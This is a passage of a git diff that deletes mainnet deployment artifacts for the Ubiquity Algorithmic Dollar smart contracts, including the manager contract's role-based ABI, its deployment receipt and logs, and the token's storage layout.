from specified account" - }, - "incentiveContract(address)": { - "notice": "get associated incentive contract, 0 address if N/A" - }, - "permit(address,address,uint256,uint256,uint8,bytes32,bytes32)": { - "notice": "permit spending of uAD. owner has signed a message allowing spender to transfer up to amount uAD" - }, - "setIncentiveContract(address,address)": { - "notice": "only UAD manager can set Incentive contract" - }, - "setName(string)": { - "notice": "setName update token name" - }, - "setSymbol(string)": { - "notice": "setSymbol update token symbol" - } - }, - "version": 1 - }, - "storageLayout": { - "storage": [ - { - "astId": 1803, - "contract": "contracts/UbiquityAlgorithmicDollar.sol:UbiquityAlgorithmicDollar", - "label": "_balances", - "offset": 0, - "slot": "0", - "type": "t_mapping(t_address,t_uint256)" - }, - { - "astId": 1809, - "contract": "contracts/UbiquityAlgorithmicDollar.sol:UbiquityAlgorithmicDollar", - "label": "_allowances", - "offset": 0, - "slot": "1", - "type": "t_mapping(t_address,t_mapping(t_address,t_uint256))" - }, - { - "astId": 1811, - "contract": "contracts/UbiquityAlgorithmicDollar.sol:UbiquityAlgorithmicDollar", - "label": "_totalSupply", - "offset": 0, - "slot": "2", - "type": "t_uint256" - }, - { - "astId": 1813, - "contract": "contracts/UbiquityAlgorithmicDollar.sol:UbiquityAlgorithmicDollar", - "label": "_name", - "offset": 0, - "slot": "3", - "type": "t_string_storage" - }, - { - "astId": 1815, - "contract": "contracts/UbiquityAlgorithmicDollar.sol:UbiquityAlgorithmicDollar", - "label": "_symbol", - "offset": 0, - "slot": "4", - "type": "t_string_storage" - }, - { - "astId": 385, - "contract": "contracts/UbiquityAlgorithmicDollar.sol:UbiquityAlgorithmicDollar", - "label": "_paused", - "offset": 0, - "slot": "5", - "type": "t_bool" - }, - { - "astId": 7586, - "contract": "contracts/UbiquityAlgorithmicDollar.sol:UbiquityAlgorithmicDollar", - "label": "manager", - "offset": 1, - "slot": "5", - "type": "t_contract(UbiquityAlgorithmicDollarManager)10304" - }, - { - "astId": 7588, - "contract": "contracts/UbiquityAlgorithmicDollar.sol:UbiquityAlgorithmicDollar", - "label": "DOMAIN_SEPARATOR", - "offset": 0, - "slot": "6", - "type": "t_bytes32" - }, - { - "astId": 7595, - "contract": "contracts/UbiquityAlgorithmicDollar.sol:UbiquityAlgorithmicDollar", - "label": "nonces", - "offset": 0, - "slot": "7", - "type": "t_mapping(t_address,t_uint256)" - }, - { - "astId": 7597, - "contract": "contracts/UbiquityAlgorithmicDollar.sol:UbiquityAlgorithmicDollar", - "label": "_tokenName", - "offset": 0, - "slot": "8", - "type": "t_string_storage" - }, - { - "astId": 7599, - "contract": "contracts/UbiquityAlgorithmicDollar.sol:UbiquityAlgorithmicDollar", - "label": "_symbol", - "offset": 0, - "slot": "9", - "type": "t_string_storage" - }, - { - "astId": 9557, - "contract": "contracts/UbiquityAlgorithmicDollar.sol:UbiquityAlgorithmicDollar", - "label": "incentiveContract", - "offset": 0, - "slot": "10", - "type": "t_mapping(t_address,t_address)" - } - ], - "types": { - "t_address": { - "encoding": "inplace", - "label": "address", - "numberOfBytes": "20" - }, - "t_bool": { - "encoding": "inplace", - "label": "bool", - "numberOfBytes": "1" - }, - "t_bytes32": { - "encoding": "inplace", - "label": "bytes32", - "numberOfBytes": "32" - }, - "t_contract(UbiquityAlgorithmicDollarManager)10304": { - "encoding": "inplace", - "label": "contract UbiquityAlgorithmicDollarManager", - "numberOfBytes": "20" - }, - "t_mapping(t_address,t_address)": { - "encoding": "mapping", - "key": "t_address", - "label": "mapping(address => address)", - "numberOfBytes": "32", - "value": "t_address" - }, - "t_mapping(t_address,t_mapping(t_address,t_uint256))": { - "encoding": "mapping", - "key": "t_address", - "label": "mapping(address => mapping(address => uint256))", - "numberOfBytes": "32", - "value": "t_mapping(t_address,t_uint256)" - }, - "t_mapping(t_address,t_uint256)": { - "encoding": "mapping", - "key": "t_address", - "label": "mapping(address => uint256)", - "numberOfBytes": "32", - "value": "t_uint256" - }, - "t_string_storage": { - "encoding": "bytes", - "label": "string", - "numberOfBytes": "32" - }, - "t_uint256": { - "encoding": "inplace", - "label": "uint256", - "numberOfBytes": "32" - } - } - } -} diff --git a/packages/contracts/dollar/deployments/mainnet/UbiquityAlgorithmicDollarManager.json b/packages/contracts/dollar/deployments/mainnet/UbiquityAlgorithmicDollarManager.json deleted file mode 100644 index b9796e0fe..000000000 --- a/packages/contracts/dollar/deployments/mainnet/UbiquityAlgorithmicDollarManager.json +++ /dev/null @@ -1,1202 +0,0 @@ -{ - "address": "0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_admin", - "type": "address" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "bytes32", - "name": "role", - "type": "bytes32" - }, - { - "indexed": true, - "internalType": "bytes32", - "name": "previousAdminRole", - "type": "bytes32" - }, - { - "indexed": true, - "internalType": "bytes32", - "name": "newAdminRole", - "type": "bytes32" - } - ], - "name": "RoleAdminChanged", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "bytes32", - "name": "role", - "type": "bytes32" - }, - { - "indexed": true, - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "sender", - "type": "address" - } - ], - "name": "RoleGranted", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "bytes32", - "name": "role", - "type": "bytes32" - }, - { - "indexed": true, - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "sender", - "type": "address" - } - ], - "name": "RoleRevoked", - "type": "event" - }, - { - "inputs": [], - "name": "BONDING_MANAGER_ROLE", - "outputs": [ - { - "internalType": "bytes32", - "name": "", - "type": "bytes32" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "COUPON_MANAGER_ROLE", - "outputs": [ - { - "internalType": "bytes32", - "name": "", - "type": "bytes32" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "DEFAULT_ADMIN_ROLE", - "outputs": [ - { - "internalType": "bytes32", - "name": "", - "type": "bytes32" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "INCENTIVE_MANAGER_ROLE", - "outputs": [ - { - "internalType": "bytes32", - "name": "", - "type": "bytes32" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "PAUSER_ROLE", - "outputs": [ - { - "internalType": "bytes32", - "name": "", - "type": "bytes32" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "UBQ_BURNER_ROLE", - "outputs": [ - { - "internalType": "bytes32", - "name": "", - "type": "bytes32" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "UBQ_MINTER_ROLE", - "outputs": [ - { - "internalType": "bytes32", - "name": "", - "type": "bytes32" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "UBQ_TOKEN_MANAGER_ROLE", - "outputs": [ - { - "internalType": "bytes32", - "name": "", - "type": "bytes32" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "autoRedeemTokenAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "bondingContractAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "bondingShareAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "couponCalculatorAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "curve3PoolTokenAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "debtCouponAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_curveFactory", - "type": "address" - }, - { - "internalType": "address", - "name": "_crvBasePool", - "type": "address" - }, - { - "internalType": "address", - "name": "_crv3PoolTokenAddress", - "type": "address" - }, - { - "internalType": "uint256", - "name": "_amplificationCoefficient", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_fee", - "type": "uint256" - } - ], - "name": "deployStableSwapPool", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "dollarMintingCalculatorAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "dollarTokenAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "formulasAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_debtCouponManagerAddress", - "type": "address" - } - ], - "name": "getExcessDollarsDistributor", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "bytes32", - "name": "role", - "type": "bytes32" - } - ], - "name": "getRoleAdmin", - "outputs": [ - { - "internalType": "bytes32", - "name": "", - "type": "bytes32" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "governanceTokenAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "bytes32", - "name": "role", - "type": "bytes32" - }, - { - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "grantRole", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "bytes32", - "name": "role", - "type": "bytes32" - }, - { - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "hasRole", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "masterChefAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "bytes32", - "name": "role", - "type": "bytes32" - }, - { - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "renounceRole", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "bytes32", - "name": "role", - "type": "bytes32" - }, - { - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "revokeRole", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_bondingContractAddress", - "type": "address" - } - ], - "name": "setBondingContractAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_bondingShareAddress", - "type": "address" - } - ], - "name": "setBondingShareAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_couponCalculatorAddress", - "type": "address" - } - ], - "name": "setCouponCalculatorAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_debtCouponAddress", - "type": "address" - } - ], - "name": "setDebtCouponAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_dollarMintingCalculatorAddress", - "type": "address" - } - ], - "name": "setDollarMintingCalculatorAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_dollarTokenAddress", - "type": "address" - } - ], - "name": "setDollarTokenAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "debtCouponManagerAddress", - "type": "address" - }, - { - "internalType": "address", - "name": "excessCouponDistributor", - "type": "address" - } - ], - "name": "setExcessDollarsDistributor", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_formulasAddress", - "type": "address" - } - ], - "name": "setFormulasAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_governanceTokenAddress", - "type": "address" - } - ], - "name": "setGovernanceTokenAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_account", - "type": "address" - }, - { - "internalType": "address", - "name": "_incentiveAddress", - "type": "address" - } - ], - "name": "setIncentiveToUAD", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_masterChefAddress", - "type": "address" - } - ], - "name": "setMasterChefAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_stableSwapMetaPoolAddress", - "type": "address" - } - ], - "name": "setStableSwapMetaPoolAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_sushiSwapPoolAddress", - "type": "address" - } - ], - "name": "setSushiSwapPoolAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_treasuryAddress", - "type": "address" - } - ], - "name": "setTreasuryAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_twapOracleAddress", - "type": "address" - } - ], - "name": "setTwapOracleAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_uarCalculatorAddress", - "type": "address" - } - ], - "name": "setUARCalculatorAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_uarTokenAddress", - "type": "address" - } - ], - "name": "setuARTokenAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "stableSwapMetaPoolAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "bytes4", - "name": "interfaceId", - "type": "bytes4" - } - ], - "name": "supportsInterface", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "sushiSwapPoolAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "treasuryAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "twapOracleAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "uarCalculatorAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - } - ], - "transactionHash": "0xc3a3925be229764ebb7a9a5c2fdcb98191cdf2fca50180d1d662851ce753d684", - "receipt": { - "to": null, - "from": "0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd", - "contractAddress": "0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98", - "transactionIndex": 45, - "gasUsed": "2235675", - "logsBloom": "0x00000004000000000000000000000010000000000000000000000000000000000000000000000000000800000000000000001000000000000000000000000000000000000000010020000000000100000000100000010000000000000000000000100000020000000000001000000800000000000000000000020000000000100200000000000000000000000000008000000000000000000000000200000000000000000000000000000000000000000000800040004010001000200000000000000000000000000800000000800000000000000000000100002080000020000001000000000000000000000000000000000400000000000000004000000000", - "blockHash": "0xaf433a45a4cabdd9988b72c0dfc06fd79644b9203855fcfc705c2b460fcaf0fa", - "transactionHash": "0xc3a3925be229764ebb7a9a5c2fdcb98191cdf2fca50180d1d662851ce753d684", - "logs": [ - { - "transactionIndex": 45, - "blockNumber": 12595229, - "transactionHash": "0xc3a3925be229764ebb7a9a5c2fdcb98191cdf2fca50180d1d662851ce753d684", - "address": "0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98", - "topics": [ - "0x2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d", - "0x0000000000000000000000000000000000000000000000000000000000000000", - "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd", - "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd" - ], - "data": "0x", - "logIndex": 54, - "blockHash": "0xaf433a45a4cabdd9988b72c0dfc06fd79644b9203855fcfc705c2b460fcaf0fa" - }, - { - "transactionIndex": 45, - "blockNumber": 12595229, - "transactionHash": "0xc3a3925be229764ebb7a9a5c2fdcb98191cdf2fca50180d1d662851ce753d684", - "address": "0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98", - "topics": [ - "0x2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d", - "0x3a2e010201653e4743db35ee85e81b63eb19cf8948f24794ef2b4dba5ecf49c9", - "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd", - "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd" - ], - "data": "0x", - "logIndex": 55, - "blockHash": "0xaf433a45a4cabdd9988b72c0dfc06fd79644b9203855fcfc705c2b460fcaf0fa" - }, - { - "transactionIndex": 45, - "blockNumber": 12595229, - "transactionHash": "0xc3a3925be229764ebb7a9a5c2fdcb98191cdf2fca50180d1d662851ce753d684", - "address": "0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98", - "topics": [ - "0x2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d", - "0x65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a", - "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd", - "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd" - ], - "data": "0x", - "logIndex": 56, - "blockHash": "0xaf433a45a4cabdd9988b72c0dfc06fd79644b9203855fcfc705c2b460fcaf0fa" - }, - { - "transactionIndex": 45, - "blockNumber": 12595229, - "transactionHash": "0xc3a3925be229764ebb7a9a5c2fdcb98191cdf2fca50180d1d662851ce753d684", - "address": "0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98", - "topics": [ - "0x2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d", - "0xeaff283aa1cb5c8448e8e6df1f1d9256a0b9e1d4a11bca9e915ecfb8d881be7e", - "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd", - "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd" - ], - "data": "0x", - "logIndex": 57, - "blockHash": "0xaf433a45a4cabdd9988b72c0dfc06fd79644b9203855fcfc705c2b460fcaf0fa" - }, - { - "transactionIndex": 45, - "blockNumber": 12595229, - "transactionHash": "0xc3a3925be229764ebb7a9a5c2fdcb98191cdf2fca50180d1d662851ce753d684", - "address": "0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98", - "topics": [ - "0x2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d", - "0xb59de930ba65d9ac0d4dbd09127a305101a071683af551ffece1d125909542d8", - "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd", - "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd" - ], - "data": "0x", - "logIndex": 58, - "blockHash": "0xaf433a45a4cabdd9988b72c0dfc06fd79644b9203855fcfc705c2b460fcaf0fa" - }, - { - "transactionIndex": 45, - "blockNumber": 12595229, - "transactionHash": "0xc3a3925be229764ebb7a9a5c2fdcb98191cdf2fca50180d1d662851ce753d684", - "address": "0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98", - "topics": [ - "0x2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d", - "0xaf1a415cb2281de448f1771a3c8144f554e6e38bb3bc1acc8218c01a5d75721d", - "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd", - "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd" - ], - "data": "0x", - "logIndex": 59, - "blockHash": "0xaf433a45a4cabdd9988b72c0dfc06fd79644b9203855fcfc705c2b460fcaf0fa" - }, - { - "transactionIndex": 45, - "blockNumber": 12595229, - "transactionHash": "0xc3a3925be229764ebb7a9a5c2fdcb98191cdf2fca50180d1d662851ce753d684", - "address": "0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98", - "topics": [ - "0x2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d", - "0x9a46abf6358a50f8b5f443e7d26ec0762bffead3f6c78af4ff80f12ba16bb568", - "0x0000000000000000000000004da97a8b831c345dbe6d16ff7432df2b7b776d98", - "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd" - ], - "data": "0x", - "logIndex": 60, - "blockHash": "0xaf433a45a4cabdd9988b72c0dfc06fd79644b9203855fcfc705c2b460fcaf0fa" - } - ], - "blockNumber": 12595229, - "cumulativeGasUsed": "4369648", - "status": 1, - "byzantium": true - }, - "args": ["0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd"], - "solcInputHash": "718dfe5f2e9bb98c22443f71ab0527e0", - "metadata": "{\"compiler\":{\"version\":\"0.8.3+commit.8d00100c\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_admin\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"bytes32\",\"name\":\"role\",\"type\":\"bytes32\"},{\"indexed\":true,\"internalType\":\"bytes32\",\"name\":\"previousAdminRole\",\"type\":\"bytes32\"},{\"indexed\":true,\"internalType\":\"bytes32\",\"name\":\"newAdminRole\",\"type\":\"bytes32\"}],\"name\":\"RoleAdminChanged\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"bytes32\",\"name\":\"role\",\"type\":\"bytes32\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"sender\",\"type\":\"address\"}],\"name\":\"RoleGranted\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"bytes32\",\"name\":\"role\",\"type\":\"bytes32\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"sender\",\"type\":\"address\"}],\"name\":\"RoleRevoked\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"BONDING_MANAGER_ROLE\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"COUPON_MANAGER_ROLE\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"DEFAULT_ADMIN_ROLE\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"INCENTIVE_MANAGER_ROLE\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"PAUSER_ROLE\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"UBQ_BURNER_ROLE\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"UBQ_MINTER_ROLE\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"UBQ_TOKEN_MANAGER_ROLE\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"autoRedeemTokenAddress\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"bondingContractAddress\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"bondingShareAddress\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"couponCalculatorAddress\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"curve3PoolTokenAddress\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"debtCouponAddress\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_curveFactory\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_crvBasePool\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_crv3PoolTokenAddress\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"_amplificationCoefficient\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_fee\",\"type\":\"uint256\"}],\"name\":\"deployStableSwapPool\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"dollarMintingCalculatorAddress\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"dollarTokenAddress\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"formulasAddress\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_debtCouponManagerAddress\",\"type\":\"address\"}],\"name\":\"getExcessDollarsDistributor\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"role\",\"type\":\"bytes32\"}],\"name\":\"getRoleAdmin\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"governanceTokenAddress\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"role\",\"type\":\"bytes32\"},{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"grantRole\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"role\",\"type\":\"bytes32\"},{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"hasRole\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"masterChefAddress\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"role\",\"type\":\"bytes32\"},{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"renounceRole\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"role\",\"type\":\"bytes32\"},{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"revokeRole\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_bondingContractAddress\",\"type\":\"address\"}],\"name\":\"setBondingContractAddress\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_bondingShareAddress\",\"type\":\"address\"}],\"name\":\"setBondingShareAddress\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_couponCalculatorAddress\